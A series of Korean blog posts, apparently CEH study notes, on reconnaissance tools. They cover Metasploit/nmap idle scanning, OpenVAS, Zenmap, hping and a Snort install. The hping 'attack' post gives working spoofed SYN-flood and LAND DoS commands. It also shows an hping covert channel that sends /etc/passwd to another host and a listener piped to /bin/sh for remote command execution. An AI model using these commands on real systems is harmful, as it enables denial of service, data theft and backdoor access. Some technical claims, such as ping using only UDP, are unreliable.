보안vs해킹2011. 11. 23. 06:57

Metasploit를 이용한 스캔

앞에서 여러번 언급했던 nmap을 이용한 방법이 가장 보편적인 능동적 정보수집의 방법이라 할 수 있다. 하지만 여기서는 metasploit를 이용한 좀 더 공격적인 스캔법에 대해 알아 보겠다.

우선 데이타베이스를 사용해야 하는데 여기서는 postgresql을 이용하겠다. 아래와 같이 postgresql을 실행해보겠다.

root@bt~# /etc/init.d/postgresql-8.3 start

실행후 metasploit의 Framework을 데이타베이스에 연결한다. metasploit가 설치될때 postgresql이 postgres/toor의 계정으로 설치되어 있다.

msf > db_connect postgres:toor@127.0.0.1/msfbook

postgres를 아이디로, toor를 패스워드로, 그리고 msfbook를 데이타베이스로 하여 연결하였다. 현재의 연결을 확인하려면 db_status를 타입해보면 알 수 있다.

Nmap의 데이타를 Metasploit로 입력

nmap이나 기타 다른 스캐닝툴을 이용한 결과물들을 metasploit를 통해 입력가능한데 nmap에서는 -oX라는 명령어로 결과값을 xml로 출력 가능하다.

nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24

이렇게 출력된 값을 이용해서 metasploit로 입력해보겠다.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address
Hosts
=====
address
-------
192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99
msf >

Nmap을 이용한 다양한 스캔방법: TCP Idle Scan

TCP Idle scan은 비활성화된 타겟 호스트의 IPID를 알아내는 방법으로 연속되는 통신에서 다음의 IPID값을 알아냄으로 차후에 추가적인 활동을 가능하게 해준다.



msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
1. RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
2. THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

위의 나열된 스캐너들은 ipid값을 알아내는 옵션들이다. 1번의 RHOSTS는 CIDR의 스캔등 타겟호스트의 네트워크의 범위를 정해줄때 사용되는 옵션이고 2에서의 THREADS값은 수치를 높일수록 PCU점유율이 높아진다. 디폴트는 1이고 여기서는 50을 줘 보겠다.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
1. [*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >

Incremental을 보이는 호스트는 우리가 보낸 스캔값에 1을 추가한 값을 응답으로 보내온 호스트들이다. 다음에는 1번의 192.168.1.109를 통해 192.168.1.155를 좀 더 자세히 스캔해보겠다.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
msf auxiliary(ipidseq) >

다음과 같이 능동적 정보 수집이지만 192.168.1.109라는 좀비피씨를 이용해서 타겟 호스트를 스캔하여 보았다.

내일은 이 192.168.1.109를 좀더 후벼보도록 하겠다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 12. 12:05
5. OpenVAS Manager 셋업
 
아래의 명령어를 통해 사용자 cert를 생성한다.

openvas-mkcert-client -n om -i



이후에 데이타베이스를 생성하고 매번 nvt를 업데이트 할때마다 데이타베이스를 아래와 같이 재생성해줘야한다.

openvasmd --rebuild

버전이 4.0.3 이하일시에는 몇초밖에 걸리지 않지만 버전 4.0.5이후에는 이전버전보다는 오래 걸리지만 좀더 많은 스캐닝 기능을 사용할 수 있을 것이다.

openvasad -c 'add_user' -n openvasadmin -r Admin

openvasadmin이 사용자이름이고 여러분 자신에 맞게 다시 바꿔도 무관하다.

root@bt:~# openvasad -c 'add_user' -n openvasadmin -r Admin Enter password: ad main:MESSAGE:5871:2011-05-26 04h57.08 BST: No rules file provided, the new user will have no restrictions. ad main:MESSAGE:5871:2011-05-26 04h57.08 BST: User openvasadmin has been successfully created. root@bt:~#

OpenVAS 매니저 실행

아래와 같은 명령어로 9390을 포트로 OpenVAS를 실행한다.

openvasmd -p 9390 -a 127.0.0.1

관리자 모드는 아래와 같이 접근하면 된다.

openvasad -a 127.0.0.1 -p 9393

Greenbone Security Assistant의 실행

이제 Greenbone Security Assistant를 실행한다. 이 Greenbone Security Assistant는 Nmap계의 Zenmap정도라고 생각하면 편리하다. 손쉽게 마우스로 사용가능하게 해 놓은게 Greenbone Security Assistant의 특징이다.

gsad --http-only --listen=127.0.0.1 -p 9392

Greenbone Security Desktop

Greenbone Security Desktop을 실행시키고 아까 생성시켰던 사용자의 이름과 패스워드를 적어준다.



이제 스캐닝 모드로 들어왔고 여러분은 이제 스캔할 모든 준비가 되어 있다.

웹 설정

웹페이지에서도 스캔이 가능한데 아까 실행했듯이 127.0.0.1:9392로 연결하면 Greenbone Security Desktop과 같은 화면을 보게 된다.



여기서 여러분은 네트워크의 스캔과 모든 스캔관련 작업을 하게 된다.

지금까지 OpenVAS의 세팅방법을 알아 보았다. 이제 Greenbone Security Desktop을 이용하여 nmap.org와 같은 사이트를 스캔하면서 취약점을 찾아보기 바란다. 명심할 점은 항상 스캔 데이타베이스를 최신으로 업데이트 하는 것이다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 8. Metasploit 2. 실행  (0) 2011.11.16
CEH Chap 7. Metasploit 1. 용어정리  (0) 2011.11.15
CEH Chap 5. OpenVAS 1/2  (0) 2011.11.11
CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
Posted by 구텐모르겐
보안vs해킹2011. 11. 10. 10:38


Zenmap의 rpm버전은 http://nmap.org/dist/zenmap-5.61TEST2-1.noarch.rpm에서 다운가능하다. 윈도우버전도 http://www.softpedia.com/get/Network-Tools/Network-Monitoring/Zenmap.shtml에서 다운받을 수 있다

설명

ZenmapNmap의 그래픽버전으로 다양한 플랫폼에서 사용가능하다. 이는 Nmap보다 초보자들이 좀 더 사용하기 쉽게 했을뿐만 아니라 고급기술까지 손쉽게 사용할 수 있게 해놓았다. 개인적으로 Zenmap을 안 후에는 AngryIP를 더이상 사용하지 않게 되었다. 여기서 ZenmapNmap을 좀 더 손쉽게 사용할 수 있는법에 대해 설명해 보겠다.

그래픽 버젼의 Nmap의 필요성

어떠한 것이라도 command line의 창조적인 작업보다 나을 수 없고 ZenmapNmap을 대체할 수는 없다. 하지만 Zenmap을 통해 Nmap으로 할 수 없는 것들이 있는데 이는다음과 같다.

다양한 그래픽을 이용한 결과

Nmap에서는 일반적인 평범한 결과물을 보여준다면, Zenmap은 호스트별 그리고 서비스별 결과물을 정리해서 나열해 준다. 이것은 하나의 호스트에 대한 정보를 보여줄 뿐만 아니라 하나의 네트워크의 모든 호스트에 대한 정리도 간편하게 표현해준다. 또한 네트워크맵 (topology map) 을 만들어 줄뿐 아니라 이를 하나의 스크린에 요약되서 보여준다.

비교성

Zenmap은 두가지의 스캔의 결과물에 대한 비교가 가능하다. 그러므로 며칠전과의 결과물 비교를 통해 어떻게 변화되었는지를 결과물을 통해 알 수 있다.

편리성

Zenmap은 당신의 스캔결과물들을 손쉽게 볼 수 있고 좀 더 다양한 방법의 스캔의 방법연구에 도움을 줄 것이다.

발견성

Nmap은 수백개의 옵션이 있고 이는 초보자에게는 알기 쉽지 않지만 Zenmap은 명령어들이 손쉽게 나열되어 있어 초보자도 손쉽게 쿼리를 만들수 있다.

Zenmap을 실행하게 되면 다음과 같은 화면이 나온다.
 


Zenmap의 목표는 초보자도 손쉽게 스캔하기 위하는데 있고 사용자는 타겟의 주소와 'intense scan'을 할지 아니면 다른 스캔을 할지만 정해주면 된다.



스캔이 끝나면 오른쪽화면에 그 결과물이 출력된다. 타겟은 192.168.0.0/24와 같이 네트워크를 설정해 줄 수도 있고 10.0.0-5.*와 같이 범위값을 줄수도 있다.

아래의 결과물에서와 같이 포트 25만 빼고 다른 포트들이 열려있음을 알 수 있다. 이는 포트 25는 filtered된 것을 쉽게 알 수 있다.
 


결과탭에는 Nmap Output, Ports/Hosts, Topology, Host Details, Scans가 있는데 여기서는 Nmap Output에 대해서만 알아보겠다.



위에서 포트 22의 tcp가 열려있음을 알 수 있고 이는 ssh서비스에 대해 열려있고 버전은 OpenSSH 4.3으로 되어 있음을 알 수 있다. 이제 Metasploit를 이용하여 OpenSSH의 취약점을 찾아서 공격하면 된다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 6. OpenVAS 2/2  (0) 2011.11.12
CEH Chap 5. OpenVAS 1/2  (0) 2011.11.11
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
CEH Chap 1. hping?  (0) 2011.11.07
Posted by 구텐모르겐
보안vs해킹2011. 11. 9. 06:42

SYN ATTACK

SYN 공격은 말 그대로 SYN패킷을 타켓 네트워크로 계속 보내면서 상대방의 리소스를 소모하게 하는 방법이다. SYN 패킷을 받은 타겟은 SYN/ACK를 공격자에게 전송하면서 ACK 패킷을 기다리게 된다. 하지만 공격자는 ACK를 보내지 않음으로 해서 타켓 호스트가 half-open상태로 놔두는 방식이다. 이를 응답을 안해준다고 해서 Stealth 공격이라고도 한다. -a는 공격자의 IP를 임의의 IP로 바꾸어서 공격해주는 옵션이다.

[root@localhost root]# hping -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

참고로 타겟호스트로부터 응답을 받을 수 없는데 이는 공격자의 IP를 바꾸었기 때문에 SYN/ACK 패킷이 바뀐 IP로 전송되었기 때문이다.

타겟 호스트를 보면,

C:\WINNT>netstat -n -p tcp
Active Connections
Proto Local Address Foreign Address State

TCP 192.168.10.33:80 192.168.10.99:2555 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2556 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2557 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2558 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2559 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2560 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2561 SYN_RECEIVED
TCP 192.168.10.33:80 192.168.10.99:2562 SYN_RECEIVED

위의 netstat에 대한 결과를 보면 SYN이 계속 들어오는 것을 볼 수 있다. netstat은 현재 열려있는 혹은 통신준비중인 포트에 대한 정보를 나타낸다.

LAND 공격

LAND공격은 타겟호스트의 IP를 소스아이피로 같이 사용하면서 DOS 공격을 유발하는 방식이다.

[root@localhost root]# hping -S -a 10.10.10.10 -p 21 10.10.10.10
HPING 10.10.10.1 (eth0 10.10.10.1): S set, 40 headers + 0 data bytes

Signature를 이용한 공격

Signature.sig파일을 생성하여 buffer overflow와 같은 공격을 수행할 수 있다.

[root@localhost rules]# hping -2 -p 7 192.168.10.33 -d 50 -E /root/signature.sig
HPING 192.168.10.33 (eth0 192.168.10.33): udp mode set, 28 headers + 50 data bytes
len=78 ip=192.168.10.33 seq=0 ttl=128 id=24842 rtt=4.9 ms
len=78 ip=192.168.10.33 seq=1 ttl=128 id=24844 rtt=1.6 ms
len=78 ip=192.168.10.33 seq=2 ttl=128 id=24846 rtt=1.0 ms
--- 192.168.10.33 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.0/2.5/4.9 ms
[root@localhost rules]#

-2는 UDP모드로, -d는 데이타 길이를 -E는 Signature 옵션이다.

위는 Tcpdump를 통해 얻어진 값으로 타겟 호스트에 저장된 패킷값이다. Tcpdump는 Windows 버전의 Wireshark와 같은 프로그램으로 패킷캡춰툴로써 Wireshark도 Tcpdump엔진을 사용한다.

ICMP, UDP, TCP를 이용한 데이타의 전송

타겟호스트에 hping을 실행할수 있다는 전제하에 ICMP를 이용한 데이타 전송이다.

[root@localhost root]# hping 192.168.10.66 --listen signature --safe --icmp
hping2 listen mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
....

[root@knoppix root]# hping 192.168.10.44 --icmp .d 100 --sign signature --file /etc/passwd

TCP를 통한 전송은,

[root@localhost root]# hping 192.168.10.66 --listen signature --safe-p 22hping2 listen moderoot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmai--- 192.168.10.66 hping statistic ---4 packets tramitted, 0 packets received, 100% packet lossround-trip min/avg/max = 0.0/0.0/0.0 ms[root@localhost root]#

공격호스트쪽에서는

[root@knoppix root]hping -p 22 d 100 --sign signature --file/etc/passwd

이런식으로 해서 트로이안공격을 시도할 수도 있다.

[root@localhost root]# hping 192.168.10.66 --listen signature --safe --udp -p 53 |/bin/shhping2
listen modeamsn_received libreadme.txtanaconda-ks.cfg libfwbuilder-0.10.13-1.rh7.i386.rpmreport.htmlavi license.txtsbinCPsrsc-50-02.i386.rpm linux-wlan-ng-0.1.16-pre5scripts...

[root@knoppix root]# echo ls >test.cmd[root@knoppix root]# hping 192.168.10.44 -p 53 -d 100 --udp --signsiganature --file ./test.cmd

knoppix는 공격자이고 localhost는 타겟호스트로 보고 위와 같이 타겟호스트에 권한만 주어진다면 hping을 통해 다양한 공격을 행할 수 있다.

hping은 여기까지 다룰 예정이다. 아무래도 nmap이 스캔하는데는 제일 사용하기 편리한 툴이기에 zenmap을 좀 다뤄보도록 하겠다. 그런데 내가 다 쓰고 읽어봐도 많은 부분이 설명이 안되어진걸 알겠지만 이걸 또 일일이 설명하기가 글로써는 무리가 좀 있는듯 하다. 조만간 동영상강좌를 만들어서 올려보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 5. OpenVAS 1/2  (0) 2011.11.11
CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
Posted by 구텐모르겐
보안vs해킹2011. 11. 8. 07:26




Idle Scanning

요번에는 hping의 Idle scanning에 대해 적어보겠다. 우리말로 비활동중인 호스트의 스캔정도로 표현가능하겠지만 그냥 Idle scanning이라고 하겠다.

네트워크 패킷의 헤더에는 id값이란 것이 있는데 이것은 통신할때마다 기본적으로 1씩 증가하게 되어있다. (어떤 리눅스는 IP_ID값을 0으로 사용하기도 하고 방화벽에서 랜덤화된 값을 사용하기도 한다. 이럴때는 Idle scanning이 쓸모가 없다.) -r 옵션을 이용하여 호스트나 방화벽의 id값을 보고 타겟의 상태를 알 수 있다.

[root@localhost root]# hping -I eth0 -SA 192.168.10.1 HPING 192.168.10.1
(eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=0 ttl=255 id=18106 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=1 ttl=255 id=18107 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=2 ttl=255 id=18108 win=0 rtt=0.4 ms
...
[root@localhost root]# hping -I eth0 -SA -r 192.168.10.1 HPING 192.168.10.1
(eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=0 ttl=255 id=18109 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=1 ttl=255 id=+1 win=0 rtt=0.4 ms
len=46 ip=192.168.10.1 flags=R seq=2 ttl=255 id=+1 win=0 rtt=0.4 ms
...

SYN 패킷을 보냈을때 해당 포트가 닫혀있을때에는 RST(reset) 패킷이 돌아오고 IP_ID값은 증가하지 않게 된다. 만약 포트가 열려있어서 IP_ID값이 증가했다면 이 포트는 열려있음을 알 수 있다. 즉 비활성화된 타겟에 대한 스캔중 id의 값이 +2가 된다면 해당 포트는 열려 있다고 보고 +1이라면 포트는 닫혀있다고 보면 된다.

Stealth Scan은 단순하게 SYN만을 타겟호스트에 보내고 ACK가 왔을때 이를 무시하는 것을 Stealth Scan이라고 한다.

Firewall Scanning 방화벽 스캔

다음은 방화벽을 스캔하는 방법에 대해 알아보겠다.

-t옵션은 IP헤더의 ttl값을 설정해줄수 있고 -z는 ctrl+z를 누를때마다 ttl값을 증가시킨다.

[root@localhost root]# hping -I eth0 -z -t 6 -S mail.test.com -p 143
HPING mail.test.com (eth0 10.5.5.3): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=10.1.5.3
7: TTL 0 during transit from ip=10.1.5.3
8: TTL 0 during transit from ip=10.2.5.3
9: TTL 0 during transit from ip=10.3.5.3
10: TTL 0 during transit from ip=10.4.5.3
11: TTL 0 during transit from ip=10.6.5.3
once you reach the server .
len=46 ip=10.5.5.3 flags=SA DF seq=33 ttl=47 id=0 win=5840 rtt=4341.3ms

위에서도 알 수 있듯이 mail.test.com은 47홉을 지나야지 타겟 네트워크에 도착하는 것을 알 수 있다. 이 방법은 기존의 UDP 뿐만 아니라 TCP에 대한 전반적인 스캔이 가능하므로 현재에도 많이 사용되는 방법이다.

hping이 물론 유용한 방법이긴 하지만 nmap이나 zenmap이 더 쉽고 유용하므로 둘의 사용법 또한 익혀놓는 것이 좋다. 이외에 backtrack에 있는 툳들을 하나씩 만져보는것도 필요하다. 언젠가는 하나씩 심도없이 다뤄보도록 할 예정이지만 언제 할지는 자신이 없다.

다음에는 hping을 이용한 SYN attack, Land attack등을 알아보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
해킹의 5단계 from CEH  (2) 2011.11.05
Posted by 구텐모르겐
보안vs해킹2011. 11. 7. 09:46

hping
을 통해 사용자는 idle scan, land scan, stealth scan등 다양한 스캔을 통해 방화벽이 설치되어 있는 네트워크에서도 상대 호스트의 포트가 열려있는지 유무를 알 수 있다. 또한 패킷을 임의적으로 생성할 수 있으므로 활용범위가 상당히 넓다고 할 수 있다.

기존의 ping과 다른점은 ping은 UDP만을 사용하지만 hping은 TCP를 이용한다. 보통의 방화벽은 ping을 허용치 않기 위해 UDP를 블록해 놓지만 hping은 TCP를 이용하므로 이를 우회할 수 있다.

지금의 강좌는 Philippe Bogaerts의HPING Tutorial을 기준으로 작성하였으므로 내용이 모호한 점은 원문을 참조하기 바란다.

hping은 TCP를 이용하므로 여러가지 패킷을 전송하면서 네트워크의 스캔이 가능하다.
  • -F --fin set FIN flag
  • -S --syn set SYN flag
  • -R --rst set RST flag
  • -P --push set PUSH flag
  • -A --ack set ACK flag
  • -U --urg set URG flag
  • -X --xmas set X unused flag (0x40)
  • -Y --ymas set Y unused flag (0x80)
아시다시피(?) TCP는 SYN-ACK/SYN-ACK을 통해서 통신자간 신원확인(?)후 데이타 전송이 시작된다. 데이타 전송이 모두 끝나면 FIN을 통해 데이터전송을 종료하고, RST를 통해 전송을 재요청하게 된다. PUSH는 전송대기중인 패킷의 강제전송을 요청하게 된다. URG는 급할때 XMAS는 이 여러가지의 명령어들을 한꺼번에 요청하게 되서 송신자의 네트워크는 크리스마스트리처럼 반짝거린다고 해서 XMAS스캔이라고 한다.

[root@localhost root]# hping -I eth0 -S 192.168.10.1 -p 80
HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=SA DF seq=0 ttl=64 id=11101 win=16080 rtt=2.7 ms
len=46 ip=192.168.10.1 flags=SA DF seq=1 ttl=64 id=11102 win=16080 rtt=2.4 ms
len=46 ip=192.168.10.1 flags=SA DF seq=2 ttl=64 id=11103 win=16080 rtt=2.4 ms

-I는 인터페이스를 나타내므로 그냥 eth0을 사용하면 되고 -S는 SYN스캔을 요청한 것이고, -p는 포트번호를 나타낸다. SA는 SYN/ACK를 나타내므로 192.168.10.1의 포트80은 열려있다고 보면 된다.

또한 ++기능을 통하여 포트번호를 하나씩 증가해가면서 스캔하게 된다.

[root@localhost root]# hping -I eth0 -S 192.168.10.1 -p ++79
HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 sport=79 flags=RA seq=0 ttl=255 id=17491 win=0 rtt=2.4 ms
len=46 ip=192.168.10.1 sport=80 flags=SA DF seq=1 ttl=64 id=17492 win=16080 rtt=3.1 ms len=46 ip=192.168.10.1 sport=81 flags=RA seq=2 ttl=255 id=17493 win=0 rtt=1.7 ms
len=46 ip=192.168.10.1 sport=82 flags=RA seq=3 ttl=255 id=17494 win=0 rtt=1.8 ms
len=46 ip=192.168.10.1 sport=83 flags=RA seq=4 ttl=255 id=17495 win=0 rtt=1.4 ms
len=46 ip=192.168.10.1 sport=84 flags=RA seq=5 ttl=255 id=17496 win=0 rtt=3.6 ms

또한 아래와 같이 모든 nmap의 기능들을 모두 사용 가능하다.

  • -s --baseport base source port (default random)
  • -p --destport [+][+] destination port(default 0) or ctrl+z inc/dec
  • -k --keep keep still source port -w --win winsize (default 64)
  • -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
  • -Q --seqnum shows only tcp sequence number
  • -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet you'll get bad UDP/TCP checksum instead.
  • -M --setseq set TCP sequence number -L --setack set TCP ack

nmap의 기능을 추가하여 네트워크의 스캔을 좀 더 효율적으로 수행할 수 있다.

[root@localhost root]# hping -I eth0 -M 3000 -SA 192.168.10.1 -p 80
HPING 192.168.10.1 (eth0 192.168.10.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=3000 ttl=255 id=11118 win=0 rtt=1.8 ms
len=46 ip=192.168.10.1 flags=R seq=3001 ttl=255 id=11119 win=0 rtt=1.9 ms
len=46 ip=192.168.10.1 flags=R seq=3002 ttl=255 id=11120 win=0 rtt=1.9 ms.

보시다시피 nmaphping을 효울적으로 사용하는데 있어 필수적인 지식이다. nmap이 command 스타일이라 적응하기 힘든 분들은 zenmap이라도 깔아서 간단한 스캔기능을 익히는게 많은 도움이 될 것이다.

본인이 네트워크에 대한 지식이 없다면 Elite Nabukadnezar의 becoming a hacker를 꼭 읽어보기 바란다.

내일은 hping을 통한 IDLE SCAN, LAND SCAN등 다양한 스캔의 방법을 알아보도록 하겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
해킹의 5단계 from CEH  (2) 2011.11.05
Posted by 구텐모르겐
보안vs해킹2011. 11. 5. 03:41


네이버에서의 해킹의 정의는 '컴퓨터 네트워크의 취약한 보안망에 불법적으로 접근하거나 정보 시스템에 유해한 영향을 끼치는 행위'로 규정하였고, 위키피디아에서는 해커의 개념을 '이득, 저항 또는 도전 등의 이유로 컴퓨터나 컴퓨터 시스템을 파괴하는 행위'로 말하고 있다. 두 거대 백과사전은 해킹에 대해 꽤 부정적 의미를 포함하고 있다.

하지만 원래 해킹에는 악의적인 의미가 없고, 정작 상대방의 시스템에 위해를 가하는 사람들은 cracker라고 부르고, 엘리트하고 우아하게 상대의 시스템을 유린하는 사람들을 해커라 부른다, 라고 주장하고 싶다. 여기서 쓰고자 하는 것도 상대(?), 목표물(?) 혹은 호기심의 대상의 시스템의 취약점을 찾는걸 다루지, SQL Injection이나 CSS (Cross Site Scripting) 같은 내용은 다루지 않으려고 한다. 위와 같은 내용을 공부하고 싶다면 유투브에 널린게 해킹 기술이니 거기서 습득해도 어리버리한 시스템들은 쉽게 낚아서 본인이 script kiddy임을 증명할 수는 있을 것이다.

해킹은 탐색 (Reconnaissance), 스캔 (Scanning), 침입 (Gaining Access), 접속유지 (Maintaining Access), 사후처리 (Covering Tracks)로 EC-Council에서 구분하고 있다.

탐색은 Nmap, hping, ping 등과 같은 툴로 손쉽게 이루어 질 수 있고 합법이다. (#hping 을 통해 5만비트의 데이타를 연속적으로 보내는 것은 불법이다.)

스캔은 Nessus, OpenVAS 등등이 있다. (불법은 아니지만 본인의 결백을 주장할 증거정도는 필요하겠죠 ex. NDA)

침입은 MetaSploit이 가장 많이 쓰이는 툴이다. (남의 네트워크 침입은 악의적이든 아니든 범죄에 속한다. 그리고 생각보다 우리의 통신내용은 구글신께서 다 감청당하고 있으니 클라이언트가 원하면 당신은 의외로 쉽게 잡힌다.)

접속유지는 컴맨드를 통해서 이루어지므로 딱히 툴이라고 볼게 없고, 사후처리도 알아서 지나갔던 자리 지우고 나오면 되는 거다.

앞으로 적어볼 내용들은 각 툳들의 사용법을 알아보면서 그러한 것들을 어떻게 방어하는지 Snort를 통해 보도록 하겠다.

참고1. BackTrack이라는 라이브DVD가 있다. 모든 보안이나 해킹에 관심있는 사람이라면 꼭 깔아봐야하는 OS이니 지금 읽고 계신 분들도 꼭 깔아서 설치해보기 바란다.

참고2. NDA (Nondisclosure Agreement)를 클라이언트와 작성하고 해킹하는게 법적인 분쟁을 피하는 가장 정석이다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 4. Zenmap  (0) 2011.11.10
CEH Chap 3. hping - Attach.  (0) 2011.11.09
CEH Chap 2. hping - Idle scanning, ...  (0) 2011.11.08
CEH Chap 1. hping?  (0) 2011.11.07
BackTrack 5 백트랙 5 설치하기  (2) 2011.11.06
Posted by 구텐모르겐
IT 이야기2011. 1. 15. 02:58
사용자 삽입 이미지


Ubunto 11.04, Snort-2.8.5.5, php5

snort가 IDS로는 가장 강력한 툴인것을 알면서도 그놈의 디펜던시 때문에 번번히 설치를 실패했었다. 책을 사서 읽어봐도 매번 버전이 바뀌니 바뀌면서 폴더도 바뀌고 그 바뀐거 어딨냐고 구글에 아무리 외쳐도 대답하는놈 하나 없고.근데 최근에 우분투를 깔아보고 신세계를 경험했다. 이건 뭐 apt-get이면 웬만하면 다 갖다 붙는다. 물론 디펜던시 문제는 계속 나타나긴 하지만 페도라에 비하면 이정도쯤이야 우습게 넘겨줄 수 있다.

구글을 아무리 뒤져서 잘 쓰여진 설치가이드를 봐도 결국에는 정식사이트의 메뉴얼만 못한게 정석이라는게 내 생각이다. 블로거들이 저마다 자신의 독특한 방법을 (초심자의 입장에서) 설명하지만 정작 시스템도 다르고 버전도 바꼈고 해서 결국 적영가능한 설명서는 정식사이트의 설치가이드가 아닌가 싶다.

Snort로 돌아와서, 획기적으로 간단한 설치법이 있으므로 Snort 설치에 실패한 사용자여 돌아오라'를 외치고 싶다. 그리고 돈주고 IDS사지마라'도 역시 외쳐주고 싶다. 설치에 들어가자.

우선 관리자 권한을 받자.
# sudo -i

apt-get을 업데이트 하자.
# apt-get update
# apt-get upgrade


Snort를 mysql과 함께 설치하자. 잘 모르겠지만 이 한줄의 컴멘드가 몇시간의 삽질을 단축시켰는지 모를것이다.
# apt-get install snort-mysql

Oinkmaster는 Snort rule을 항상 업데이트 시켜준다.
# apt-get install oinkmaster

설치가이드에서는 최신 룰을 받아서 업데이트 하라는데 일단 생략하겠다.

snort.conf를 환경에 맞게 변경한다.
# gedit /etc/snort/snort.conf

output log_tcpdump: tcpdump.log의 컴멘트(#)를 제거한다.

Snort의 작동을 확인한다.
# pgrep -; snort

시작하지 않는다면 Snort를 실행해준다.
# /etc/init.d/snort start

만약 에러메세지가 나오면 다음의 파일을 제거한다.
# rm /etc/snort/db-pending-config

Snort가 로그파일을 잘 뿌려주는지 확인해보자.
# tail -f /var/log/snort/alert

nmap을 통해서 포트스캔을 이루어 snort가 로그를 생성하는지 보겠다. (nmap은 네트워크 포트 스캐닝 툴로써 거의 모든 포트스캐닝의 원조격이다. 없다면 apt-get install nmap으로 설치하라. 참고로 nmap.org에서 영어공부와 병행해서 공부를 좀 해보던가 어설프지만 내가 연제한 nmap 사용법을 참고하기 바란다.)
# nmap -sX 당신의 아이피 입력

